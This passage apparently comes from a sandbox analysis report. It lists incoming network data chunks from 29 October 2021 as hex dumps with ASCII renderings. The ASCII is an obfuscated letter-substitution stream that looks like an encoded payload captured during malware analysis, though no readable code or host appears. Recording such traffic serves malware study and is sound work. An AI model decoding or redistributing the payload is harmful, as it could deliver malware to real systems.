2021-10-29 18:29:04 UTC	116	IN	Data Raw: 44 20 71 71 70 20 58 20 4d 6d 20 71 71 4a 20 57 4f 20 57 4a 20 4a 6d 20 6d 4f 20 58 44 20 4d 20 44 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 71 44 20 57 4a 20 58 45 20 71 57 20 44 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 6d 6d 20 57 4a 20 6d 45 20 45 71 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 71 58 20 6d 58 20 57 70 20 6d 71 20 45 71 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 6d 44 20 6d 58 20 45 45 20 4d 58 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 71 44 20 57 4f 20 6d 4d 20 45 57 20 4d 58 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 6d 6d 20 57 4f 20 45 70 20 71 20 58 6d 20 71 71 6d 20 71 71 70 20 45 71 20 58 4a 20 6d 58 20 57 71 20 45 4d 20 71 20 58 6d 20 71 71 6d 20 71 71 70 20 45 71 20 71 71 4f 20 6d 58 20 45 57 20 Data Ascii: D qqp X Mm qqJ WO WJ Jm mO XD M DW qOM qqJ Wm JD qD WJ XE qW DW qOM qqJ Wm JD mm WJ mE Eq qqE qOM qqD Jm qX mX Wp mq Eq qqE qOM qqD Jm mD mX EE MX qqm qqE qOW MO qD WO mM EW MX qqm qqE qOW MO mm WO Ep q Xm qqm qqp Eq XJ mX Wq EM q Xm qqm qqp Eq qqO mX EW
2021-10-29 18:29:04 UTC	120	IN	Data Raw: 71 4a 20 57 4f 20 57 58 20 4a 6d 20 6d 4f 20 58 44 20 4d 20 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 71 44 20 57 4a 20 58 45 20 71 57 20 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 6d 6d 20 57 4a 20 6d 45 20 71 57 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 71 58 20 6d 58 20 57 70 20 6d 71 20 71 57 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 6d 44 20 6d 58 20 45 45 20 6d 4a 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 71 44 20 57 4f 20 6d 4d 20 45 57 20 6d 4a 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 6d 6d 20 57 4f 20 4a 44 20 58 6d 20 58 6d 20 71 71 6d 20 71 4a 45 20 45 71 20 71 71 4f 20 6d 58 20 45 57 20 45 45 20 57 6d 20 58 6d 20 71 71 58 20 4d 57 20 45 4d 20 71 71 6d 20 6d 4d 20 45 45 20 45 45 20 57 6d 20 58 6d 20 71 71 58 Data Ascii: qJ WO WX Jm mO XD M M qOM qqJ Wm JD qD WJ XE qW M qOM qqJ Wm JD mm WJ mE qW qqE qOM qqD Jm qX mX Wp mq qW qqE qOM qqD Jm mD mX EE mJ qqm qqE qOW MO qD WO mM EW mJ qqm qqE qOW MO mm WO JD Xm Xm qqm qJE Eq qqO mX EW EE Wm Xm qqX MW EM qqm mM EE EE Wm Xm qqX
2021-10-29 18:29:04 UTC	124	IN	Data Raw: 20 71 44 4d 20 71 45 4d 20 71 71 57 20 4a 4f 20 4a 70 58 20 57 4f 20 70 44 20 58 44 20 4d 4f 20 4a 71 57 20 71 4f 58 20 71 71 4a 20 57 44 20 71 4f 20 71 4a 4f 20 4a 4f 71 20 71 45 71 20 71 6d 71 20 71 45 71 20 4d 4d 20 4d 58 20 6d 58 20 4a 4f 44 20 70 44 20 71 71 6d 20 58 6d 20 71 71 6d 20 71 71 4f 20 4a 20 71 4a 70 20 57 4f 20 6d 58 20 57 44 20 4a 70 6d 20 58 44 20 71 20 4a 70 58 20 71 4f 58 20 71 71 4a 20 57 4a 20 70 57 20 57 58 20 70 4d 20 4d 4a 20 4d 4f 20 4d 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 57 20 4d 70 20 71 45 45 20 58 6d 20 71 71 6d 20 71 4a 45 20 4a 20 4f 20 57 4f 20 6d 58 20 57 44 20 58 4d 20 4a 6d 44 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 45 20 57 58 20 6d 45 20 4a 4f 20 71 58 45 20 71 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 Data Ascii: qDM qEM qqW JO JpX WO pD XD MO JqW qOX qqJ WD qO qJO JOq qEq qmq qEq MM MX mX JOD pD qqm Xm qqm qqO J qJp WO mX WD Jpm XD q JpX qOX qqJ WJ pW WX pM MJ MO M qOM qqJ WD WW Mp qEE Xm qqm qJE J O WO mX WD XM JmD qqW qqE qOE ME WX mE JO qXE qm qqm qqE qOX XW
2021-10-29 18:29:04 UTC	127	IN	Data Raw: 20 57 6d 20 71 70 4f 20 45 58 20 71 71 44 20 71 71 45 20 45 45 20 71 71 44 20 71 70 6d 20 6d 4a 20 4a 4d 20 57 6d 20 6d 71 20 45 4f 20 71 71 45 20 71 4f 4d 20 71 71 58 20 57 4f 20 4a 6d 57 20 4a 4d 20 45 4f 20 71 4a 4f 20 71 71 44 20 71 71 45 20 45 71 20 58 4a 20 44 44 20 4a 58 20 57 4a 20 57 6d 20 71 70 6d 20 71 71 70 20 57 20 44 57 20 71 71 58 20 57 4f 20 71 6d 4f 20 57 4a 20 45 4f 20 71 4a 4f 20 71 71 44 20 71 71 45 20 4a 70 58 20 58 57 20 71 6d 45 20 57 20 44 4f 20 57 6d 20 4a 57 4f 20 44 45 20 71 6d 57 20 45 4f 20 71 71 58 20 57 4f 20 71 4d 58 20 71 20 45 58 20 71 71 4f 20 71 71 44 20 71 71 45 20 4a 6d 6d 20 58 4f 20 44 44 20 4a 58 20 44 4f 20 57 6d 20 71 58 57 20 71 4f 4d 20 71 6d 57 20 45 4f 20 71 71 58 20 57 4f 20 71 57 70 20 4a 20 71 4d 58 20 45 Data Ascii: Wm qpO EX qqD qqE EE qqD qpm mJ JM Wm mq EO qqE qOM qqX WO JmW JM EO qJO qqD qqE Eq XJ DD JX WJ Wm qpm qqp W DW qqX WO qmO WJ EO qJO qqD qqE JpX XW qmE W DO Wm JWO DE qmW EO qqX WO qMX q EX qqO qqD qqE Jmm XO DD JX DO Wm qXW qOM qmW EO qqX WO qWp J qMX E
2021-10-29 18:29:04 UTC	132	IN	Data Raw: 4f 20 6d 4d 20 57 71 20 57 6d 20 58 6d 20 71 58 57 20 45 70 20 71 4f 4d 20 71 71 4a 20 4d 57 20 6d 58 20 57 4d 20 57 6d 20 4a 71 70 20 71 71 6d 20 4a 6d 6d 20 71 4f 4d 20 4d 44 20 57 4f 20 71 58 6d 20 71 45 20 57 6d 20 58 6d 20 4d 71 20 71 71 45 20 71 4f 4f 20 71 71 4a 20 71 58 70 20 6d 58 20 71 45 4d 20 57 57 20 44 58 20 71 71 6d 20 44 6d 20 6d 44 20 71 71 4a 20 57 4f 20 4a 57 20 57 4f 20 44 71 20 58 6d 20 4a 6d 4d 20 71 71 45 20 4a 70 44 20 71 71 70 20 70 6d 20 6d 58 20 71 58 6d 20 45 20 58 6d 20 71 71 6d 20 4d 4a 20 71 4f 4d 20 71 4a 70 20 57 4f 20 71 58 58 20 57 4f 20 71 58 70 20 58 57 20 4d 58 20 71 71 45 20 71 4d 71 20 58 58 20 57 4f 20 6d 58 20 4a 45 20 57 6d 20 4d 57 20 71 71 6d 20 4a 6d 58 20 71 4f 4d 20 4a 6d 71 20 57 71 20 70 4a 20 57 4f 20 71 Data Ascii: O mM Wq Wm Xm qXW Ep qOM qqJ MW mX WM Wm Jqp qqm Jmm qOM MD WO qXm qE Wm Xm Mq qqE qOO qqJ qXp mX qEM WW DX qqm Dm mD qqJ WO JW WO Dq Xm JmM qqE JpD qqp pm mX qXm E Xm qqm MJ qOM qJp WO qXX WO qXp XW MX qqE qMq XX WO mX JE Wm MW qqm JmX qOM Jmq Wq pJ WO q
2021-10-29 18:29:04 UTC	136	IN	Data Raw: 71 4f 20 71 4a 70 20 71 71 45 20 71 4f 4d 20 6d 71 20 57 71 20 4a 4f 20 57 71 20 71 4d 20 58 44 20 4d 45 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 45 71 20 44 70 20 57 4f 20 57 6d 20 71 70 20 71 71 57 20 58 71 20 71 4f 58 20 58 57 20 6d 58 20 70 57 20 57 71 20 57 6d 20 58 6d 20 4a 6d 44 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4f 45 20 6d 4d 20 4a 4a 20 57 57 20 71 71 70 20 71 71 4a 20 71 4f 4a 20 71 4f 58 20 71 71 4a 20 57 4f 20 57 70 20 57 57 20 57 6d 20 58 6d 20 6d 70 20 71 71 44 20 45 70 20 71 71 70 20 4a 70 20 57 4f 20 70 70 20 57 57 20 58 6d 20 71 71 6d 20 4a 70 71 20 4d 58 20 71 71 4a 20 57 4f 20 71 4f 57 20 57 71 20 71 58 20 58 57 20 58 45 20 71 71 4d 20 71 4a 44 20 71 71 70 20 57 4f 20 6d 58 20 4a 6d 4a 20 57 6d 20 58 6d 20 71 71 6d 20 6d 6d 20 71 Data Ascii: qO qJp qqE qOM mq Wq JO Wq qM XD ME qqD qOM qqJ Eq Dp WO Wm qp qqW Xq qOX XW mX pW Wq Wm Xm JmD qqE qOM qqJ qOE mM JJ WW qqp qqJ qOJ qOX qqJ WO Wp WW Wm Xm mp qqD Ep qqp Jp WO pp WW Xm qqm Jpq MX qqJ WO qOW Wq qX XW XE qqM qJD qqp WO mX JmJ Wm Xm qqm mm q
2021-10-29 18:29:04 UTC	140	IN	Data Raw: 20 6d 44 20 71 6d 6d 20 58 6d 20 71 71 57 20 71 71 45 20 6d 70 20 71 4f 58 20 57 4a 20 70 70 20 57 71 20 57 6d 20 6d 6d 20 71 71 71 20 71 4f 20 71 4a 6d 20 71 71 70 20 57 4f 20 71 44 4a 20 6d 45 20 71 6d 6d 20 58 6d 20 44 57 20 71 71 44 20 4a 4a 4a 20 71 4a 44 20 71 58 4a 20 70 70 20 71 20 57 57 20 71 4a 20 4d 58 20 4a 57 4a 20 71 4a 6d 20 44 45 20 57 71 20 44 6d 20 70 58 20 71 45 58 20 44 4d 20 44 57 20 71 71 44 20 71 71 4f 20 71 71 4d 20 71 58 58 20 70 70 20 71 20 57 57 20 71 45 6d 20 71 4a 45 20 4a 70 4f 20 71 4a 6d 20 44 45 20 57 71 20 71 4d 44 20 57 44 20 71 45 6d 20 44 4d 20 44 57 20 71 71 44 20 4a 70 71 20 71 4a 44 20 71 45 57 20 70 70 20 71 20 57 57 20 4a 71 70 20 4d 58 20 4a 71 57 20 71 4a 6d 20 44 45 20 57 71 20 4a 57 4a 20 44 71 20 71 6d 57 20 Data Ascii: mD qmm Xm qqW qqE mp qOX WJ pp Wq Wm mm qqq qO qJm qqp WO qDJ mE qmm Xm DW qqD JJJ qJD qXJ pp q WW qJ MX JWJ qJm DE Wq Dm pX qEX DM DW qqD qqO qqM qXX pp q WW qEm qJE JpO qJm DE Wq qMD WD qEm DM DW qqD Jpq qJD qEW pp q WW Jqp MX JqW qJm DE Wq JWJ Dq qmW
2021-10-29 18:29:04 UTC	144	IN	Data Raw: 45 58 20 71 71 70 20 57 4f 20 44 20 57 4f 20 58 4a 20 71 4f 4d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 44 6d 20 6d 58 20 71 4d 57 20 4d 20 71 58 4f 20 4d 45 20 44 45 20 71 4f 4d 20 71 4d 4a 20 71 71 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 4a 45 20 71 71 45 20 71 57 44 20 45 4d 20 4a 71 70 20 70 57 20 71 4f 20 57 6d 20 71 4a 20 45 4a 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 45 45 20 57 4f 20 71 4f 4d 20 71 4f 57 20 71 70 4f 20 71 4f 4a 20 58 45 20 71 71 4a 20 71 6d 20 71 71 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 6d 20 71 4f 4d 20 71 4d 57 20 4a 71 20 4a 4f 45 20 70 70 20 4d 20 58 6d 20 71 6d 20 45 58 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 45 4d 20 57 6d 20 71 45 4a 20 44 45 20 71 71 70 20 71 4a 71 20 6d 58 20 57 Data Ascii: EX qqp WO D WO XJ qOM qqm qqE qOM qqJ qDm mX qMW M qXO ME DE qOM qMJ qq mX WO Wm Xm JJE qqE qWD EM Jqp pW qO Wm qJ EJ qqE qOM qqJ WO qEE WO qOM qOW qpO qOJ XE qqJ qm qq WO Wm Xm qqm Jmm qOM qMW Jq JOE pp M Xm qm EX qOM qqJ WO mX qEM Wm qEJ DE qqp qJq mX W
2021-10-29 18:29:04 UTC	148	IN	Data Raw: 20 4a 57 71 20 71 71 4a 20 71 71 71 20 6d 44 20 4a 4a 70 20 70 6d 20 71 6d 70 20 71 71 6d 20 71 4f 57 20 57 70 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 44 4f 20 58 6d 20 71 4a 4d 20 71 71 57 20 71 4a 58 20 71 4f 4f 20 4a 70 44 20 6d 58 20 58 20 71 71 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 4a 70 4f 20 57 4f 20 6d 57 20 70 20 4a 71 4d 20 44 6d 20 71 6d 45 20 71 71 45 20 70 70 20 6d 4f 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 71 4d 6d 20 71 71 6d 20 71 57 20 6d 6d 20 71 57 45 20 70 58 20 4a 71 4a 20 57 4f 20 71 4f 6d 20 71 4a 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 44 6d 20 6d 58 20 71 71 4f 20 6d 4d 20 71 58 57 20 71 4f 4a 20 71 6d 44 20 71 4f 4d 20 6d 20 71 4f 44 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 4a 58 20 71 71 45 20 71 Data Ascii: JWq qqJ qqq mD JJp pm qmp qqm qOW Wp qqJ WO mX WO qDO Xm qJM qqW qJX qOO JpD mX X qqO Xm qqm qqE qOM JpO WO mW p JqM Dm qmE qqE pp mO WO mX WO Wm qMm qqm qW mm qWE pX JqJ WO qOm qJ qqm qqE qOM qqJ qDm mX qqO mM qXW qOJ qmD qOM m qOD mX WO Wm Xm JJX qqE q
2021-10-29 18:29:04 UTC	152	IN	Data Raw: 6d 20 4d 4d 20 70 70 20 71 71 70 20 57 4f 20 71 58 70 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 4a 45 20 71 4f 4d 20 71 6d 45 20 4a 6d 20 70 58 20 70 44 20 71 4a 4f 20 58 57 20 4a 6d 71 20 4a 6d 4a 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 44 6d 20 44 4a 20 4a 4d 20 71 4f 45 20 71 4f 6d 20 71 4a 70 20 44 70 20 57 71 20 71 4a 58 20 71 58 71 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 4a 57 71 20 71 71 4a 20 4d 44 20 6d 71 20 71 45 20 70 4a 20 4a 45 20 71 71 57 20 71 70 70 20 4a 70 6d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 44 4f 20 58 6d 20 6d 71 20 71 4f 58 20 71 58 4f 20 71 4a 57 20 4d 58 20 6d 4d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 57 20 71 4f 4d 20 4a 4a 57 20 71 58 20 4a 4a 4f 20 58 20 4a 58 20 44 44 20 70 57 20 71 71 44 20 Data Ascii: m MM pp qqp WO qXp WO Wm Xm qqm JJE qOM qmE Jm pX pD qJO XW Jmq JmJ qOM qqJ WO mX qDm DJ JM qOE qOm qJp Dp Wq qJX qXq Wm Xm qqm qqE JWq qqJ MD mq qE pJ JE qqW qpp Jpm qqJ WO mX WO qDO Xm mq qOX qXO qJW MX mM WO Wm Xm qqm JmW qOM JJW qX JJO X JX DD pW qqD
2021-10-29 18:29:04 UTC	156	IN	Data Raw: 57 4f 20 57 6d 20 4a 71 4f 20 71 4a 4a 20 71 45 57 20 71 4f 45 20 4d 44 20 57 4f 20 71 58 45 20 57 71 20 4a 57 4f 20 4a 6d 57 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 58 4f 20 57 44 20 71 70 57 20 44 4a 20 4a 4a 4d 20 71 4f 4f 20 4a 6d 4d 20 71 4f 58 20 71 44 6d 20 71 6d 45 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 6d 6d 20 71 4a 57 20 4a 4f 58 20 71 4a 4f 20 71 70 45 20 70 58 20 71 4d 4f 20 57 57 20 71 70 45 20 4a 71 71 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 58 4a 20 57 58 20 71 4f 20 4d 57 20 71 58 4f 20 4d 4d 20 4a 4a 6d 20 71 71 70 20 4a 71 57 20 71 6d 57 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 70 20 71 4f 71 20 57 4a 20 57 45 20 4a 4a 6d 20 70 44 20 71 58 45 20 58 57 20 71 57 44 20 4a 71 4a 20 71 4f 4d 20 71 71 4a 20 Data Ascii: WO Wm JqO qJJ qEW qOE MD WO qXE Wq JWO JmW qqm qqE qOM qqJ qXO WD qpW DJ JJM qOO JmM qOX qDm qmE mX WO Wm Xm Jmm qJW JOX qJO qpE pX qMO WW qpE Jqq qqE qOM qqJ WO qXJ WX qO MW qXO MM JJm qqp JqW qmW WO Wm Xm qqm Jmp qOq WJ WE JJm pD qXE XW qWD JqJ qOM qqJ
2021-10-29 18:29:04 UTC	159	IN	Data Raw: 20 57 4f 20 57 6d 20 4a 71 4f 20 71 4a 4a 20 71 58 58 20 71 4a 6d 20 71 4f 45 20 57 4f 20 71 57 44 20 57 71 20 71 6d 4a 20 4a 6d 71 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 58 4f 20 57 44 20 4a 4a 45 20 70 4d 20 4a 4d 20 71 71 4d 20 4a 71 45 20 71 4f 58 20 71 45 45 20 71 57 71 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 6d 6d 20 71 4a 57 20 71 71 57 20 71 71 4a 20 71 45 70 20 70 45 20 71 57 4d 20 57 57 20 71 57 45 20 4a 71 57 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 58 4a 20 57 58 20 71 45 20 58 6d 20 4a 71 70 20 4d 44 20 71 4d 4a 20 71 71 70 20 4a 4a 6d 20 71 6d 4d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 70 20 71 4f 71 20 71 4f 44 20 6d 4d 20 71 45 57 20 70 4d 20 71 57 4a 20 58 57 20 71 44 58 20 4a 4f 58 20 71 4f 4d 20 71 71 Data Ascii: WO Wm JqO qJJ qXX qJm qOE WO qWD Wq qmJ Jmq qqm qqE qOM qqJ qXO WD JJE pM JM qqM JqE qOX qEE qWq mX WO Wm Xm Jmm qJW qqW qqJ qEp pE qWM WW qWE JqW qqE qOM qqJ WO qXJ WX qE Xm Jqp MD qMJ qqp JJm qmM WO Wm Xm qqm Jmp qOq qOD mM qEW pM qWJ XW qDX JOX qOM qq
2021-10-29 18:29:04 UTC	164	IN	Data Raw: 71 4f 4d 20 71 71 4a 20 57 4f 20 71 58 4a 20 57 58 20 71 70 4d 20 4d 4a 20 4d 58 20 71 71 45 20 71 4d 4f 20 71 71 70 20 71 45 20 71 57 70 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 70 20 71 4f 71 20 45 44 20 57 45 20 4a 6d 4d 20 57 4f 20 4a 4a 44 20 58 57 20 58 4d 20 4a 4a 4f 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 58 4f 20 44 4a 20 71 44 20 71 4a 71 20 71 4f 71 20 71 4f 4d 20 71 44 6d 20 57 71 20 6d 20 71 57 57 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 4a 70 57 20 71 4a 4f 20 4a 70 57 20 44 4f 20 4a 57 71 20 57 6d 20 71 4a 4d 20 71 71 57 20 45 70 20 71 4d 44 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 45 44 20 4d 4a 20 71 6d 45 20 71 4a 71 20 71 4a 57 20 71 71 4a 20 4a 70 71 20 6d 4d 20 71 71 4d 20 71 57 4d 20 58 6d 20 71 71 6d 20 71 71 Data Ascii: qOM qqJ WO qXJ WX qpM MJ MX qqE qMO qqp qE qWp WO Wm Xm qqm Jmp qOq ED WE JmM WO JJD XW XM JJO qOM qqJ WO mX qXO DJ qD qJq qOq qOM qDm Wq m qWW Wm Xm qqm qqE JpW qJO JpW DO JWq Wm qJM qqW Ep qMD qqJ WO mX WO qED MJ qmE qJq qJW qqJ Jpq mM qqM qWM Xm qqm qq
2021-10-29 18:29:04 UTC	168	IN	Data Raw: 71 71 6d 20 71 71 45 20 71 4f 4d 20 4a 6d 70 20 57 4f 20 4d 58 20 6d 58 20 4a 4a 71 20 44 45 20 6d 57 20 71 71 4d 20 4a 70 44 20 4a 71 4d 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 4a 71 4f 20 71 4f 44 20 4a 57 70 20 58 4d 20 71 71 45 20 57 4f 20 58 4f 20 6d 58 20 71 57 4f 20 4a 57 57 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 4a 71 71 20 6d 4d 20 71 70 4d 20 4a 71 20 58 57 20 71 71 6d 20 4a 4f 20 71 71 71 20 4a 71 4a 20 71 57 70 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 6d 45 20 71 71 44 20 71 45 71 20 6d 58 20 6d 71 20 6d 58 20 58 70 20 57 4a 20 6d 20 4a 4a 70 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 4a 4f 4d 20 57 4d 20 70 57 20 71 4f 45 20 4a 4f 70 20 71 4f 4d 20 71 4a 20 71 71 6d 20 71 4f 44 20 71 57 45 20 57 4f 20 57 6d 20 58 6d 20 71 71 Data Ascii: qqm qqE qOM Jmp WO MX mX JJq DE mW qqM JpD JqM WO mX WO Wm JqO qOD JWp XM qqE WO XO mX qWO JWW qqm qqE qOM qqJ Jqq mM qpM Jq XW qqm JO qqq JqJ qWp mX WO Wm Xm qmE qqD qEq mX mq mX Xp WJ m JJp qqE qOM qqJ WO JOM WM pW qOE JOp qOM qJ qqm qOD qWE WO Wm Xm qq
2021-10-29 18:29:04 UTC	172	IN	Data Raw: 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 Data Ascii: qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO qWp qO Wm Xm qqp qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO qWp qO Wm Xm qqp qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO qWp qO Wm Xm qqp qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO qWp qO Wm Xm qqp qqE qqm EX
2021-10-29 18:29:04 UTC	176	IN	Data Raw: 20 4a 6d 45 20 4a 57 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 45 58 20 45 71 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 4a 6d 4d 20 4d 71 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 57 45 20 4a 45 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 71 4d 4a 20 58 4d 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 4a 45 20 58 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 4a 45 20 4a 71 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 70 6d 20 58 45 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 4a 45 20 58 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 4a 45 20 4a 71 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 57 4d 20 58 4d 20 57 4f 20 6d 58 20 6d 58 20 57 6d 20 4a 71 45 20 4d 71 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 4a 45 20 4a 71 20 57 6d 20 58 Data Ascii: JmE JW Wm Xm qqX qqE EX Eq WO mX Wq Wm JmM Mq qqE qOM qqp WO qWE JE Wm Xm qqW qqE qMJ XM WO mX Wq Wm JE XW qqE qOM qqp WO qJE Jq Wm Xm qqW qqE pm XE WO mX Wq Wm JE XW qqE qOM qqp WO qJE Jq Wm Xm qqW qqE WM XM WO mX mX Wm JqE Mq qqE qOM qqp WO qJE Jq Wm X
2021-10-29 18:29:04 UTC	180	IN	Data Raw: 20 57 44 20 57 6d 20 71 57 57 20 58 58 20 71 71 45 20 71 4f 4d 20 71 4a 70 20 57 4f 20 71 71 57 20 71 57 20 57 4a 20 58 6d 20 71 71 57 20 71 71 45 20 4d 70 20 57 4f 20 57 4f 20 6d 58 20 6d 58 20 57 6d 20 45 57 20 45 44 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 71 57 20 71 57 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 71 4a 70 20 71 71 4f 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 71 4f 71 20 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 20 71 71 4a 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 71 44 4a 20 4d 4f 20 57 4f 20 6d 58 20 6d 4d 20 57 6d 20 4a 70 20 45 4d 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 6d 45 20 71 4a 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 6d 44 20 45 45 20 57 4f 20 6d 58 20 6d 58 20 57 6d 20 44 44 20 71 4f Data Ascii: WD Wm qWW XX qqE qOM qJp WO qqW qW WJ Xm qqW qqE Mp WO WO mX mX Wm EW ED qqE qOM qqp WO qqW qW Wm Xm qqJ qqE qJp qqO WO mX Wq Wm qOq mX qqE qOM qqp WO q qqJ Wm Xm qqJ qqE qDJ MO WO mX mM Wm Jp EM qqE qOM qqp WO mE qJ Wm Xm qqW qqE mD EE WO mX mX Wm DD qO
2021-10-29 18:29:04 UTC	184	IN	Data Raw: 71 4f 20 6d 71 20 70 71 20 4a 70 4f 20 57 6d 20 71 4d 4d 20 58 45 20 6d 20 71 4f 44 20 71 45 45 20 71 71 44 20 4a 70 4f 20 6d 58 20 71 44 70 20 4a 4d 20 71 71 57 20 71 71 6d 20 71 71 44 20 71 4f 58 20 4a 6d 58 20 44 20 4a 71 71 20 57 6d 20 70 4d 20 58 57 20 4a 4d 20 44 58 20 71 70 57 20 71 71 44 20 57 71 20 57 4a 20 44 44 20 4d 20 71 44 45 20 71 71 58 20 71 71 44 20 71 4f 57 20 71 71 57 20 4d 20 4a 4f 71 20 57 6d 20 44 70 20 58 4f 20 70 70 20 71 71 4f 20 71 6d 44 20 71 71 44 20 4a 70 58 20 6d 58 20 71 58 44 20 4a 20 58 57 20 71 71 6d 20 71 4f 4f 20 71 4f 57 20 71 70 58 20 4a 71 20 6d 4f 20 57 57 20 4a 70 20 58 4f 20 71 4d 70 20 58 44 20 71 4f 58 20 71 71 4a 20 71 4d 20 57 4a 20 70 45 20 71 71 58 20 58 57 20 71 71 6d 20 71 71 44 20 71 4f 58 20 71 58 58 20 Data Ascii: qO mq pq JpO Wm qMM XE m qOD qEE qqD JpO mX qDp JM qqW qqm qqD qOX JmX D Jqq Wm pM XW JM DX qpW qqD Wq WJ DD M qDE qqX qqD qOW qqW M JOq Wm Dp XO pp qqO qmD qqD JpX mX qXD J XW qqm qOO qOW qpX Jq mO WW Jp XO qMp XD qOX qqJ qM WJ pE qqX XW qqm qqD qOX qXX
